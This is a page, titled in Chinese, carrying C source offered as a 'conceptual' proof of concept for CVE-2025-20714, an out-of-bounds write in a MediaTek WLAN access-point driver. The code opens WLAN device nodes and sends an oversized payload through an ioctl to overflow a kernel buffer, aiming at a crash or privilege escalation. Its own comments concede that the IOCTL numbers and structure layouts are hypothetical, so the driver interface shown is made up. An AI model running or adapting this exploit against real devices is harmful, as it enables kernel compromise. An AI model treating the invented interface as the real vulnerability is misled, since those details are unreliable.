CVE-2025-20714 MediaTek WLAN AP驱动越界写入权限提升漏洞

# CVE-2025-20714 - MediaTek WLAN AP Driver Out-of-Bounds Write PoC (Conceptual) # WARNING: This is a conceptual PoC for security research purposes only. # Do not use against systems without explicit authorization. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/types.h> #include <errno.h> // Hypothetical IOCTL command for WLAN AP driver // Actual IOCTL numbers would need to be reverse-engineered from the driver #define WLAN_AP_IOC_MAGIC 'W' #define WLAN_AP_IOC_SET_CONFIG _IOW(WLAN_AP_IOC_MAGIC, 0x01, struct wlan_ap_config) #define WLAN_AP_IOC_TRIGGER _IOW(WLAN_AP_IOC_MAGIC, 0x02, struct wlan_ap_trigger) // Structure representing WLAN AP configuration // The vulnerability is in incorrect bounds checking of the 'ssid_len' or 'data_len' fields struct wlan_ap_config { char ssid[32]; // SSID buffer (fixed size: 32 bytes) unsigned int ssid_len; // Intended length, but not properly validated char password[64]; // Password buffer unsigned int password_len; unsigned int channel; unsigned char extra_data[256]; // Buffer that may be overflowed unsigned int extra_len; // Length without proper bounds check }; // Structure to trigger the vulnerable code path struct wlan_ap_trigger { unsigned int operation; unsigned int param1; unsigned int param2; unsigned char payload[512]; unsigned int payload_len; // No proper bounds check before write }; int main(int argc, char *argv[]) { int fd; int ret; struct wlan_ap_trigger trigger; printf("[+] CVE-2025-20714 PoC - MediaTek WLAN AP Driver OOB Write\n"); printf("[+] For security research and authorized testing only\n\n"); // Open the WLAN AP driver device node // The actual device path varies by device (e.g., /dev/wlan_ap, /dev/mtk_wlan) fd = open("/dev/wmtWifi", O_RDWR); if (fd < 0) { perror("[-] Failed to open WLAN AP device"); // Try alternative device paths fd = open("/dev/wlan_ap", O_RDWR); if (fd < 0) { perror("[-] Failed to open alternative device"); return EXIT_FAILURE; } } printf("[+] Opened WLAN AP device (fd=%d)\n", fd); // Prepare the trigger structure with oversized payload // The vulnerability: payload_len exceeds the actual buffer size // and the driver does not properly validate this length before writing memset(&trigger, 0, sizeof(trigger)); trigger.operation = 0x01; // Operation code triggering vulnerable path trigger.param1 = 0xDEADBEEF; trigger.param2 = 0xCAFEBABE; // Fill payload with controlled data to overwrite adjacent memory // This is where the out-of-bounds write occurs memset(trigger.payload, 'A', sizeof(trigger.payload)); // Set payload_len to a value larger than the actual buffer // This bypasses the incorrect bounds check in the driver trigger.payload_len = sizeof(trigger.payload) + 0x100; // Exceeds buffer by 256 bytes printf("[+] Sending crafted payload (payload_len=%u, buffer_size=%zu)\n", trigger.payload_len, sizeof(trigger.payload)); printf("[+] OOB write: %d bytes beyond buffer boundary\n", trigger.payload_len - (int)sizeof(trigger.payload)); // Trigger the vulnerability via IOCTL ret = ioctl(fd, WLAN_AP_IOC_TRIGGER, &trigger); if (ret < 0) { perror("[-] IOCTL failed"); } else { printf("[+] IOCTL succeeded - vulnerability may have been triggered\n"); printf("[+] Check for kernel crash or privilege escalation\n"); } close(fd); return EXIT_SUCCESS; } // Compile: gcc -o poc_cve_2025_20714 poc.c // Note: Actual exploitation requires: // 1. Knowledge of specific device's driver IOCTL interface // 2. Kernel symbol addresses for privilege escalation // 3. A vulnerable MediaTek chipset with affected firmware version // 4. Local access with at least low-level privileges